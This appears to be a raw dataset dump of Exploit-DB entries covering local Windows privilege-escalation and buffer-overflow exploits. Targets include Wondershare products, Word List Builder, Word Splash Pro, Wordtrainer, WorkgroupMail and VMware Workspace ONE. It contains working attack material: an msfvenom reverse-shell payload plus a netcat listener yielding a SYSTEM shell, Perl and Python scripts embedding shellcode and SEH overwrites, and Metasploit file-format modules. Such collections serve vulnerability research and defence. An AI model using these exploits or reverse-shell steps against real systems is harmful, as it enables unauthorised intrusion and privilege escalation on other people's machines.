deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51395
Description: Wondershare Filmora 12.2.9.2233 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-04-25
Author: msd0pe

Exploit:
############################################################################
#                                                                          #
#  Exploit Title: Wondershare Filmora 12.2.9.2233 - Unquoted Service Path  #
#  Date: 2023/04/23                                                        #
#  Exploit Author: msd0pe                                                  #
#  Vendor Homepage: https://www.wondershare.com                            #
#  My Github: https://github.com/msd0pe-1                                  # 
#                                                                          # 
############################################################################

Wondershare Filmora:
Versions =< 12.2.9.2233 contains an unquoted service path which allows attackers to escalate privileges to the system level.

[1] Find the unquoted service path:
    > wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Wondershare Native Push Service   NativePushService   C:\Users\msd0pe\AppData\Local\Wondershare\Wondershare NativePush\WsNativePushService.exe   Auto

[2] Get informations about the service:
    > sc qc "NativePushService"

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: NativePushService
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Users\msd0pe\AppData\Local\Wondershare\Wondershare NativePush\WsNativePushService.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Wondershare Native Push Service
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem


[3] Generate a reverse shell:
    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o Wondershare.exe

[4] Upload the reverse shell to C:\Users\msd0pe\AppData\Local\Wondershare\Wondershare.exe
    > put Wondershare.exe
    > ls
    drw-rw-rw-          0  Sun Apr 23 14:51:47 2023 .
    drw-rw-rw-          0  Sun Apr 23 14:51:47 2023 ..
    drw-rw-rw-          0  Sun Apr 23 14:36:26 2023 Wondershare Filmora Update
    drw-rw-rw-          0  Sun Apr 23 14:37:13 2023 Wondershare NativePush
    -rw-rw-rw-       7168  Sun Apr 23 14:51:47 2023 Wondershare.exe
    drw-rw-rw-          0  Sun Apr 23 13:52:30 2023 WSHelper


[5] Start listener
    > nc -lvp 4444

[6] Reboot the service/server
    > sc stop "NativePushService"
    > sc start "NativePushService"

    OR

    > shutdown /r

[7] Enjoy !
    192.168.1.102: inverse host lookup failed: Unknown host
    connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
    Microsoft Windows [Version 10.0.19045.2130]
    (c) Microsoft Corporation. All rights reserved.

    C:\Windows\system32>whoami

    nt authority\system
Exploit-DB #50787
Description: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions
Type: local
Platform: windows
Date: 2022-02-24
Author: Luis Martínez

Exploit:
# Exploit Title: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-23
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/mirror_go_full8050.exe
# Tested Version: 2.0.11.346
# Vulnerability Type: Local Privilege Escalation
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Privilege Escalation: 

# Insecure folders permissions issue:

C:\>icacls "C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\*" | findstr /i "everyone" | findstr /i ".exe"


C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\adb.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\BsSndRpt.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall32.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall64.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\MirrorGo.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe.config Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\unins000.exe Everyone:(I)(F)

# Service info:

C:\>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A vulnerability was found in Wondershare MirrorGo 2.0.11.346. The Wondershare MirrorGo executable
"ElevationService.exe" has incorrect permissions, allowing a local unprivileged user to replace it
with a malicious file that will be executed with "LocalSystem" privileges.
Exploit-DB #50756
Description: Wondershare MobileTrans 3.5.9 - 'ElevationService' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: Luis Martínez

Exploit:
# Exploit Title: Wondershare MobileTrans 3.5.9 - 'ElevationService' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-17
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/mobiletrans_full5793.exe
# Tested Version: 3.5.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "ElevationService" | findstr /i /v """

Wondershare Driver Install Service help		ElevationService	C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe	Auto


# Service info:

C:\>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #40535
Description: Wondershare PDFelement 5.2.9 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-14
Author: Saeed Hasanzadeh

Exploit:
#########################################################################
# Exploit Title: Wondershare PDFelement Unquoted Service Path Privilege
Escalation
# Date: 10/14/2016
# Author: Saeed Hasanzadeh (Net.Hun73r)
# Vendor Homepage: https://www.wondershare.com/
# Software Link:
http://download.wondershare.com/inst/pdfelement_setup_full1042.exe
#version : 5.2.9
# Tested on: Windows 7
##########################################################################

Wondershare PDFelement installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the
service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc WsAppService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WsAppService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Wondershare\WAF\2.2.3.2\WsAppService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Application Framework Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50758
Description: Wondershare UBackit 2.0.5 - 'wsbackup' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: Luis Martínez

Exploit:
# Exploit Title: Wondershare UBackit 2.0.5 - 'wsbackup' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-17
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/ubackit_full8767.exe
# Tested Version: 2.0.5
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "wsbackup" | findstr /i /v """

Wondershare wsbackup Service	wsbackup	C:\Program Files\Wondershare\Wondershare UBackit\wsbackup.exe	Auto


# Service info:

C:\>sc qc wsbackup
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wsbackup
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Wondershare\Wondershare UBackit\wsbackup.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare wsbackup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #17086
Description: Word List Builder - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-04-01
Author: h1ch4m

Exploit:
# Exploit Title: Word List Builder Buffer Overflow Exploit(SEH)
# Software Link: http://download.cnet.com/Word-List-Builder/3000-18541_4-10398336.html
# Version: 1.0
# triggering details : open .dic file
# Tested on: Win XP SP3 French
# Date: 31/03/2011
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file = "exploit.dic";

my $size = 4108;

# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
                "\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
                "\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
                "\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
                "\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
                "\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
                "\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
                "\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
                "\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
                "\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
                "\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
                "\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
                "\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
                "\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
                "\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
                "\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";

my $jump = "\xe9\x1c\xff\xff\xff"; # jump back 228 bytes 

my $nseh = "\xeb\xf9\xff\xff";     # jump back 7 bytes 
my $seh = pack('V', 0x00402AAF);   # pop eax - pop edx - ret [word_builder.exe]

my $junk = "\x90" x ($size-length($shellcode.$jump));

open($FILE,">$file");
print $FILE $junk.$shellcode.$jump.$nseh.$seh;
close($FILE);
print "Files Created successfully\n";
sleep(1);
Exploit-DB #17489
Description: Word List Builder 1.0 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-07-04
Author: James Fitts

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Word Builder 1.0 (DIC File) Stack Buffer Overflow',
			'Description'    => %q{ 
					This module exploits a stack-based buffer overflow in Word Builder 1.0.  An attacker must send the file to the victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'h1ch4m',      # Initial Discovery
					      'James Fitts' # Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17086' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1500,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x00411ce2 } ], #p/p/r in word_builder.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 01 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.dic']),
				], self.class)
	end

	def exploit

		dic = rand_text_alpha_upper(4103 - payload.encoded.length) + payload.encoded
		dic << "\xe9\xfe\xef\xff\xff" # jmp $-4093
		dic << "\x90\x90\xeb\xf7" # jmp $-7
		dic << [target.ret].pack('V') 

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(dic)

	end

end
Exploit-DB #15782
Description: Word Splash Pro 9.5 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-12-20
Author: h1ch4m

Exploit:
# Exploit Title: Word Splash Pro  <= 9.5 Buffer Overflow -EggHunter-
# Software Link: http://www.chronasoft.com/software/wordsplashpro
# Version: <= 9.5
# Tested on: Win XP SP3 French
# Date: 20/12/2010
# Author: h1ch4m
#Email: h1ch4m@live.fr
#Home: Net-Effects.blogspot.com
#Greetz : Peter Van Eeckhoutte, Exploit-Database Team,  Zhir0
#Note: tested on version 9.5 & 8.3,  you may have to change the address of pop pop ret according to your sp & the program version
# triggering details:  file->Word list->Import then click on Word List Builder button 

my $file = "1.wsl";

my $size = 4112;

my $nseh = "\xeb\x06\x90\x90"; # jump 6 bytes

my $seh = pack('V', 0x01de44dc); # pop pop ret  from CRDE2000.DLL

my $egg = "w00tw00t";

my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". 
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

# Shellcode :  windows/XP sp2 (FR) Sellcode cmd.exe 32 bytes - Mountassif Moad aka Stack
#                      http://www.exploit-db.com/exploits/13510/
my $shellcode = "\x8B\xEC\x33\xFF\x57".
"\xC6\x45\xFC\x63\xC6\x45".
"\xFD\x6D\xC6\x45\xFE\x64".
"\xC6\x45\xF8\x01\x8D".
"\x45\xFC\x50\xB8\xC7\x93".
"\xBF\x77\xFF\xD0";

my $junk = "\x90" x ($size-length($egg.$shellcode));

open($FILE,">$file");
print $FILE $egg.$shellcode.$junk.$nseh.$seh.$egghunter;
close($FILE);
print "File Created successfully\n";
sleep(1);
Exploit-DB #17157
Description: Wordtrainer 3.0 - '.ord' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-04-12
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/python
#
#[+]Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability
#[+]Date: 12\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.wordtrainer.net/software/files/wt307shw_exe/wt307shw.exe
#[+]Version: 3.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#


from struct import pack
from time import sleep

print """ 
		Exploit Buffer Overflow Wordtrainer 3.0
		Created BY C4SS!0 G0M3S
		E-mail Louredo_@hotmail.com
		Site www.exploit-br.org

"""
buf = ("\x41" * 868)
buf += pack('<L',0x00430363)
buf += ("\x90" * 10)
buf += ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" 
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" 
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" 
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" 
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" #Shellcode WinExec("calc",0)
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" 
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" 
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" 
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" 
"\x7f\xe8\x7b\xca")
buf += "\x41" * (2000-len(buf))
head = ("\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A")

head += (buf+"\r\n")

print "[+]Creating the Exploit File..."
sleep(1)
FILE = open("Exploit.ord","wb")
FILE.write(head)
FILE.close()
print "[+]File Created With Success\n"
sleep(2)
Exploit-DB #17492
Description: Wordtrainer 3.0 - '.ord' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-07-05
Author: James Fitts

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordTrainer v3.0 (ORD File) Stack Buffer Overflow',
			'Description'    => %q{ 
					This module exploits a stack-based buffer overflow in WordTrainer v3.0.  An attacker must send the file to the victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
						'C4SS!0 G0M3S', # Initial Exploit
						'James Fitts'   # Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17157' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1500,
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x20",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x00430363 } ], #call esp in wt.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 12 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.ord']),
				], self.class)
	end

	def exploit

		ord = "\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A" # header
		ord << rand_text_alpha_upper(868)
		ord << [target.ret].pack('V')
		ord << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(ord)

	end

end
Exploit-DB #47523
Description: WorkgroupMail 7.5.1 - 'WorkgroupMail' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-17
Author: cakes

Exploit:
# Exploit Title : WorkgroupMail 7.5.1 - 'WorkgroupMail' Unquoted Service Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor: Softalk
# Version : 7.5.1
# Software: http://html.tucows.com/preview/195580/WorkgroupMail-Mail-Server?q=pop3
# Tested on Windows 10
# CVE : N/A 


c:\>sc qc WorkgroupMail
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WorkgroupMail
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\WorkgroupMail\wmsvc.exe -s
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WorkgroupMail
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50028
Description: Workspace ONE Intelligent Hub 20.3.8.0 - 'VMware Hub Health Monitoring Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-17
Author: Ismael Nava

Exploit:
# Exploit Title: Workspace ONE Intelligent Hub 20.3.8.0 - 'VMware Hub Health Monitoring Service' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 06-16-2021
# Vendor Homepage: https://www.vmware.com/mx/products/workspace-one/intelligent-hub.html
# Software Links : https://getwsone.com/
# Tested Version: 20.3.8.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Enterprise 64 bits


# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
VMware Hub Health Monitoring Service	VMware Hub Health Monitoring Service	C:\Program Files (x86)\Airwatch\HealthMonitoring\Service\VMwareHubHealthMonitoring.exe	Auto

C:\>sc qc "VMware Hub Health Monitoring Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VMware Hub Health Monitoring Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Airwatch\HealthMonitoring\Service\VMwareHubHealthMonitoring.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : VMware Hub Health Monitoring Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem